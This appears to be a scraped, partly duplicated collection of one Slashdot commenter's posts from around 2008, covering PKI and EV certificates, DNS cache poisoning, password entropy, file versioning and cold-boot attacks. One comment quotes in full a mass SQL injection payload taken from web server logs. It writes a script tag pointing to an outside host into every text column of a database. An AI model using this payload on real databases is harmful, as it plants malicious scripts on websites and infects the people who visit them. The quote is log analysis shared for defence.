That's what EMV and chip and PIN with end-to-end encryption is generally all about. All that US companies need to do is stop postponing it and finally make the switch to that technology like companies in many other countries already did.
Also, it needs pointing out that MS probably wants to acquire Yahoo not only for its search-related business. After acquiring Zimbra, the most viable open source alternative to MS Exchange, Yahoo becomes a prime target for MS acquisition and extinguishment of that threat to one of the most lucrative and monopolious MS products.
Check out OpenDX, its visualization capabilities are way beyond Graphviz's and it provides a GUI. It's an open source version of IBM's famous Visualization Data Explorer (initially released in 1991), which IBM converted into an open source project a couple of years ago.
Quoting the site: "OpenDX is a uniquely powerful, full-featured software package for the visualization of scientific, engineering and analytical data: Its open system design is built on familiar standard interface environments. And its sophisticated data model provides users with great flexibility in creating visualizations."
For a short glimpse at its capabilities, visit the gallery here.
However, if you multiply these values by single download's size... I think that comparing the amount of data downloaded would result in a more balanced outcome.
OO's installer is over fifteen times larger that Firefox's.
And Firefox most certainly did't sustain the rate of 8 million downloads per day for the whole week.
Most userspace apps, like OpenOffice, orderly open a file, write to it, then close it. close() is a potentially perfect place for the required hooks that solve the problem.
BTW, you mentioned fsync and sync. It seems that you fail to understand the problem. It's quite irrelevant when the data hits persistent storage, we're not discussing recovery strategies in case of hardware of system malfunction. We're not discussing concurrent writes, atomic transaction and all this mess.
We're talking about retrieving older versions of data which has been destroyed by perfectly valid, yet unintended/unwelcome user space operations, performed by a single user to a non-shared file (well, not shared in the sense it's not continuosly accessed by multiple parties - it can of course lie in a shared directory where it's written to by multiple people occasionally, but the chance of them writing at the same moment is minimal).
Concerning amount of space used for this feature - I think it should be configurable (e.g. maximum and minimum number of historical versions both per single file and globally per filesystem; maxmimum and minimum amount of used space - likewise).
Ten years ago I were using files shared from a Novell NetWare file server and the Windows explorer-integrated context menu had the tools to restore (salvage) their older versions, and the history it provided was clearly automatically purged, but it provided reasonably many backdated versions. There was also a command to manually purge older versions in that context menu.
Strange that nobody here refers to that Novell solution, it's been around for quite a long time now.
It has 81 votes and 103 users on CC list. The idea is ages old, the successful implementation is new.
Now if only Mozilla guys got to finally implement it in their browser... Otherwise you'll always get folks blaming the browser for crashes which are in fact caused by proprietary plugins.
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://abc.verynx.cn/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://abc.verynx.cn/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
(phew, I'm lucky to get that through Slashdot's filter!)
You can easily decode that from your webserver logs even on MySQL, just take into account the different CAST syntax:
mysql> select CAST(0x444543....36F72 AS CHAR(4000));
In practical scenarios, this idea actually reduces key space needed to be searched in comparison to passwords. Why the users clueless enough to not handle passwords properly would handle music-based passwords better?
And you don't have to use your Facebook profile's picture to be obvious. I bet that majority of passwords will be Eminem or Rihanna MP3 clips downloaded from some p2p networks (most people don't even know how to produce and compress their own sound file); there are also certain songs that are significantly more popular from others. So there will be lots of identical passwords that are easy to guess.
A good password should be as random as possible. This is far from random. You get all sorts of hints from the public information about global music market and the password data is based on publicly available audio data. In addition, if you know your victim, you can even make more correct guesses as to what songs did that person choose.
BTW if someone says that I should have filed proper bug reports, note that the bug reports concerning this problem have been reported a long time ago to relevantbugzillas.
What those issues need is a dedicated and experienced Gnome/KDE programmer to step in and solve them (I am not one).
It turns out that while the Windows and Mac software got this right (at least with respect to scrollbars), massive amounts of OpenSource software (even high profile projects for Gtk/Gnome and Qt/KDE, like Gnumeric, Gnucash, OpenOffice, Konqueror or Kword) add an idiotic small border to their document area that seems to serve only one purpose - prevent this usability effect and make all users' lifes harder.
BTW, I highly recommend Joel Spolsky's "User interface design for programmers" - that's the very least a coder could do to educate himself in the area of usability. The book is very interesting, easy to read and quite short.
I have an OpenSuSe 10.2 x86_64 machine and have manually upgrade-installed the x86_64 RPMs from the security announcement (http://lists.opensuse.org/opensuse-security-announce/2008-07/msg00003.html). Yast2 has some problems due to this release being old and mirrors not available so I did a manual "rpm -Uhv".
Still, from a traffic dump it seems that on SuSe 10.2 the caching Bind nameserver sends out queries with predictable source ports (incrementing by 1).
Fedora's patched Bind sends from random ports (didn't run statistical randomness test on them, though).
If I understand the attack correctly, this time (against best practices) it would actually be beneficial to have the caching recursive resolver and an authoritative nameserver for your company's zones on the same machine, right?
Because this way at least the attacker couldn't fake the answers for company's zones to company's internal clients, because those answers wouldn't be cached, only served directly from zone files. The chance of successful attack is on those zones gets back to being defined by the QID and source port randomization of the client's stub - which is quite low. Am I correct?
You can get SSL certs for whatever domain, and use it to scam or not scam and Verisign doesn't have enough controls to prevent it.
What about EV certificates?
The fact is that SSL certs give people (like you, apparently) a false sense of security
Not quite, it's enough to examine the certificate, and a scam will become obvious - I can distinguish similar sounding domains and domains that simply contain a company's name from the actual domains that the company uses in its marketing materials, that I'm accustomed to.
You just need to know what to pay attention to. Without certificates you're more vulnerable since a DNS poisoning attack will render you a page that's indistinguishable from the original one. I don't say that certificates are a silver bullet, only that they are a valuable security tool provided that you know their exact limitations.
OK, but then the "encrypted" connection with a self-signed certificate should not display a lock icon or anything else that gives a false sense of security to the user.
I guarantee that if I go and try to get a cert for "citibanksystems.com" or something of that nature, I'd be given the cert no questions.
Unless Citibank uses NetCraft services to spot such domain registrations (they advertise that they can discover such registrations within 24 hours) and start monitoring what happens next then follows with a lawsuit and/or request for immediate cert revocation to the CA.
There was the visa-secure.com scam some time ago, I think the organizations learned their lesson then and have proper defense in place today.
the fact that certs don't do anything but enable encryption
This is not a fact, this is completely blatantly untrue. You don't understand PKI and you should go educate yourself. Certs don't enable encryption, they certify an identity and its mapping to a public key using a digital signature. Encryption is another subject matter. Can't you understand this? You're hopeless.
Saying "well of course if they're compromised bad things happen" doesn't make your case -- it destroys it. That's the whole point. There are no guarantees
Well there are guarantees, that's the point.
Of course the guarantees have only some finite strength, you can as well there's no 100% guarantee of your own existence or that what you remember is true. You're certain of anything only to some extent.
Now the strength of guarantees of CAs depend on multiple factors:
The strength of the identity verification process. There are various levels of certification for various prices and level of scrutiny. You can get a cheap cert simply by sending a fax and providing a telephone number; those aren't very trustworthy. Banks and financial institutions get EV certificates. The issuer of a EV certificate has to:
Establish the legal identity as well as the operational and physical presence of website owner;
Establish that the applicant is the domain name owner or has exclusive control over the domain name; and
Confirm the identity and authority of the individuals acting for the website owner, and that documents pertaining to legal obligations are signed by an authorised officer.
The security of the infrastructure of a given CA. But do you know what are the requirements to build such a CA?
Top notch physical security
faraday cage shielding around the room where all data processing takes place
hardware security module that performs all crypto operations as a black box and the secret keys don't ever leave it, which is tamper-proof and has its own shielding
all that in addition to all the other security requirements for IT systems that are widely known
Our company has assessed the cost of building and suporting a simple small scale CA that meets those requirements, and it was something around 100000 EUR initially and then roughly similar amount annually. Once you build a shielded room you need to control it periodically, since it's enough for someone to unintentionally hammer a nail into the room's wall and if it touches the cage the emissions will leak through this place and someone may be able to eavesdrop on the processed data from significant distances.
The security of a particular certificate user's IT infrastructure (obviously the private key has to be protected accordingly).
Yes, there are no 100% guarantees. No such thing exists in this world. But the guarantees that the PKI system provides are enough for their intended use and that's sufficient.
Now tell me again where do you see significant weaknesses that make this system a scam again? Because you are only waving your hands yelling "There are no guarantees" and using all caps more and more, yet you fail to prove any convincing and informed arguments and make an idiot out of yourself more and more.
You're evidently not very competent in the area of IT security. But that's OK, nobody knows everything. It's nothing to be ashamed of, unless you do this for a living;)
If I want to provide a web site that won't send clear-text passwords over the internet, I shouldn't necessarily have to pay for the extra part of verifying the web address.
And what is this encryption worth if you aren't verifying who are you communicating with, the original server or a spoof? You can as well drop the encryption and save your CPU cycles. Your passwords are no safer if you're not verifying the other side.
You're only imagining scenarios where the attacker is in a criminal minority and the user is in a secure environment that's hostile to the attacker.
What about situations where the attacker is actually a majority on the scene (e.g. a government band of crooks who just rushed into the user's home) and the environment becomes hostile to the user? The attacker has all the time at his disposal, the only thing the user might had time for was quickly powering off the machine. I think that's the scenario that most of the people involved are analysing.
Yeah, but you can't quickly poweroff a laptop. You have to keep the power button depressed for a couple of seconds, enough for the bad guys to take it away from you.
SRAM is constructed from latching circuits. Anyone knows what's their volatility when compared to DRAM? Do they lose contents immediately when powered off or do they retain the state for some time like DRAM?
If it's the latter then the attack might still be doable on the architecture that you propose because the keys would still be there on the SRAM page in the CPU. The difference is that you couldn't just plug the CPU in to a different unmodified general purpose PC, because CPU initialization during bootup would probably erase this SRAM page before you have a chance to read it.
So now this all depends on what the characteristics of SRAM are. This is an interesting workaround indeed. Take note that you'd have to not only modify the CPU but the whole system architecture to account for DMA and all those devices that access memory directly. DMA would need to go out of the equation and go through the CPU that has the encryption/decryption keys (some DMA emulation?). The system would of course significantly slow down, and it would be actually falling back to pre-DMA technology with a backward compatibility layer added in.
Slashdot Mirror
That's what EMV and chip and PIN with end-to-end encryption is generally all about. All that US companies need to do is stop postponing it and finally make the switch to that technology like companies in many other countries already did.
Also, it needs pointing out that MS probably wants to acquire Yahoo not only for its search-related business. After acquiring Zimbra, the most viable open source alternative to MS Exchange, Yahoo becomes a prime target for MS acquisition and extinguishment of that threat to one of the most lucrative and monopolious MS products.
BTW, I suppose you'd like to have a look at Data Mining examples gallery first.
Check out OpenDX, its visualization capabilities are way beyond Graphviz's and it provides a GUI. It's an open source version of IBM's famous Visualization Data Explorer (initially released in 1991), which IBM converted into an open source project a couple of years ago.
Quoting the site: "OpenDX is a uniquely powerful, full-featured software package for the visualization of scientific, engineering and analytical data: Its open system design is built on familiar standard interface environments. And its sophisticated data model provides users with great flexibility in creating visualizations."
For a short glimpse at its capabilities, visit the gallery here.
However, if you multiply these values by single download's size... I think that comparing the amount of data downloaded would result in a more balanced outcome.
OO's installer is over fifteen times larger that Firefox's.
And Firefox most certainly did't sustain the rate of 8 million downloads per day for the whole week.
Most userspace apps, like OpenOffice, orderly open a file, write to it, then close it. close() is a potentially perfect place for the required hooks that solve the problem.
BTW, you mentioned fsync and sync. It seems that you fail to understand the problem. It's quite irrelevant when the data hits persistent storage, we're not discussing recovery strategies in case of hardware of system malfunction. We're not discussing concurrent writes, atomic transaction and all this mess.
We're talking about retrieving older versions of data which has been destroyed by perfectly valid, yet unintended/unwelcome user space operations, performed by a single user to a non-shared file (well, not shared in the sense it's not continuosly accessed by multiple parties - it can of course lie in a shared directory where it's written to by multiple people occasionally, but the chance of them writing at the same moment is minimal).
Concerning amount of space used for this feature - I think it should be configurable (e.g. maximum and minimum number of historical versions both per single file and globally per filesystem; maxmimum and minimum amount of used space - likewise).
Ten years ago I were using files shared from a Novell NetWare file server and the Windows explorer-integrated context menu had the tools to restore (salvage) their older versions, and the history it provided was clearly automatically purged, but it provided reasonably many backdated versions. There was also a command to manually purge older versions in that context menu.
Strange that nobody here refers to that Novell solution, it's been around for quite a long time now.
For Java: JDocs.com.
Search from one place in almost all OSS projects' API docs (of course including J2SE and J2EE). Search box with instant AJAX autocompletion.
Are you kidding? This idea is the subject of a popular, but ignored request for enhancement filed back in Mozilla's Bugzilla in 2002!
It has 81 votes and 103 users on CC list. The idea is ages old, the successful implementation is new.
Now if only Mozilla guys got to finally implement it in their browser... Otherwise you'll always get folks blaming the browser for crashes which are in fact caused by proprietary plugins.
Yeah, the outage was way more successful than the previous one from November 2007.
I can see those in my webserver's logs dating back to 23rd of July:
Oh, and the hexes decode to:
(phew, I'm lucky to get that through Slashdot's filter!)
You can easily decode that from your webserver logs even on MySQL, just take into account the different CAST syntax:
In practical scenarios, this idea actually reduces key space needed to be searched in comparison to passwords. Why the users clueless enough to not handle passwords properly would handle music-based passwords better?
And you don't have to use your Facebook profile's picture to be obvious. I bet that majority of passwords will be Eminem or Rihanna MP3 clips downloaded from some p2p networks (most people don't even know how to produce and compress their own sound file); there are also certain songs that are significantly more popular from others. So there will be lots of identical passwords that are easy to guess.
A good password should be as random as possible. This is far from random. You get all sorts of hints from the public information about global music market and the password data is based on publicly available audio data. In addition, if you know your victim, you can even make more correct guesses as to what songs did that person choose.
BTW if someone says that I should have filed proper bug reports, note that the bug reports concerning this problem have been reported a long time ago to relevant bugzillas.
What those issues need is a dedicated and experienced Gnome/KDE programmer to step in and solve them (I am not one).
One doesn't have to look far to find small but serious usability issues in open source software.
For example, did you hear about Fitt's Law and "mile high menu bar"/ "infinite size widget" effect?
For detailed description, see e.g. this Ubuntu bug.
It turns out that while the Windows and Mac software got this right (at least with respect to scrollbars), massive amounts of OpenSource software (even high profile projects for Gtk/Gnome and Qt/KDE, like Gnumeric, Gnucash, OpenOffice, Konqueror or Kword) add an idiotic small border to their document area that seems to serve only one purpose - prevent this usability effect and make all users' lifes harder.
BTW, I highly recommend Joel Spolsky's "User interface design for programmers" - that's the very least a coder could do to educate himself in the area of usability. The book is very interesting, easy to read and quite short.
I have an OpenSuSe 10.2 x86_64 machine and have manually upgrade-installed the x86_64 RPMs from the security announcement (http://lists.opensuse.org/opensuse-security-announce/2008-07/msg00003.html). Yast2 has some problems due to this release being old and mirrors not available so I did a manual "rpm -Uhv".
Still, from a traffic dump it seems that on SuSe 10.2 the caching Bind nameserver sends out queries with predictable source ports (incrementing by 1).
Fedora's patched Bind sends from random ports (didn't run statistical randomness test on them, though).
If I understand the attack correctly, this time (against best practices) it would actually be beneficial to have the caching recursive resolver and an authoritative nameserver for your company's zones on the same machine, right?
Because this way at least the attacker couldn't fake the answers for company's zones to company's internal clients, because those answers wouldn't be cached, only served directly from zone files. The chance of successful attack is on those zones gets back to being defined by the QID and source port randomization of the client's stub - which is quite low. Am I correct?
So did anyone write a tool to quickly test a DNS server for this vulnerability?
I mean, by actually performing the attack, with sending random queries and flooding it with forged replies until it gives us a poisoned result?
I'd like to, ehhh, test my servers whether I've got them properly patched. Yup, test my servers, that's all.
What about EV certificates?
Not quite, it's enough to examine the certificate, and a scam will become obvious - I can distinguish similar sounding domains and domains that simply contain a company's name from the actual domains that the company uses in its marketing materials, that I'm accustomed to.
You just need to know what to pay attention to. Without certificates you're more vulnerable since a DNS poisoning attack will render you a page that's indistinguishable from the original one. I don't say that certificates are a silver bullet, only that they are a valuable security tool provided that you know their exact limitations.
OK, but then the "encrypted" connection with a self-signed certificate should not display a lock icon or anything else that gives a false sense of security to the user.
Unless Citibank uses NetCraft services to spot such domain registrations (they advertise that they can discover such registrations within 24 hours) and start monitoring what happens next then follows with a lawsuit and/or request for immediate cert revocation to the CA.
There was the visa-secure.com scam some time ago, I think the organizations learned their lesson then and have proper defense in place today.
This is not a fact, this is completely blatantly untrue. You don't understand PKI and you should go educate yourself. Certs don't enable encryption, they certify an identity and its mapping to a public key using a digital signature. Encryption is another subject matter. Can't you understand this? You're hopeless.
Well there are guarantees, that's the point.
Of course the guarantees have only some finite strength, you can as well there's no 100% guarantee of your own existence or that what you remember is true. You're certain of anything only to some extent.
Now the strength of guarantees of CAs depend on multiple factors:
Our company has assessed the cost of building and suporting a simple small scale CA that meets those requirements, and it was something around 100000 EUR initially and then roughly similar amount annually. Once you build a shielded room you need to control it periodically, since it's enough for someone to unintentionally hammer a nail into the room's wall and if it touches the cage the emissions will leak through this place and someone may be able to eavesdrop on the processed data from significant distances.
Yes, there are no 100% guarantees. No such thing exists in this world. But the guarantees that the PKI system provides are enough for their intended use and that's sufficient.
Now tell me again where do you see significant weaknesses that make this system a scam again? Because you are only waving your hands yelling "There are no guarantees" and using all caps more and more, yet you fail to prove any convincing and informed arguments and make an idiot out of yourself more and more.
You're evidently not very competent in the area of IT security. But that's OK, nobody knows everything. It's nothing to be ashamed of, unless you do this for a living ;)
And what is this encryption worth if you aren't verifying who are you communicating with, the original server or a spoof? You can as well drop the encryption and save your CPU cycles. Your passwords are no safer if you're not verifying the other side.
You're only imagining scenarios where the attacker is in a criminal minority and the user is in a secure environment that's hostile to the attacker.
What about situations where the attacker is actually a majority on the scene (e.g. a government band of crooks who just rushed into the user's home) and the environment becomes hostile to the user? The attacker has all the time at his disposal, the only thing the user might had time for was quickly powering off the machine. I think that's the scenario that most of the people involved are analysing.
Yeah, but you can't quickly poweroff a laptop. You have to keep the power button depressed for a couple of seconds, enough for the bad guys to take it away from you.
But then you'd have to input your passphrase each time you open a bloody file. Well if there's only few very important files, it's acceptable.
SRAM is constructed from latching circuits. Anyone knows what's their volatility when compared to DRAM? Do they lose contents immediately when powered off or do they retain the state for some time like DRAM?
If it's the latter then the attack might still be doable on the architecture that you propose because the keys would still be there on the SRAM page in the CPU. The difference is that you couldn't just plug the CPU in to a different unmodified general purpose PC, because CPU initialization during bootup would probably erase this SRAM page before you have a chance to read it.
So now this all depends on what the characteristics of SRAM are. This is an interesting workaround indeed. Take note that you'd have to not only modify the CPU but the whole system architecture to account for DMA and all those devices that access memory directly. DMA would need to go out of the equation and go through the CPU that has the encryption/decryption keys (some DMA emulation?). The system would of course significantly slow down, and it would be actually falling back to pre-DMA technology with a backward compatibility layer added in.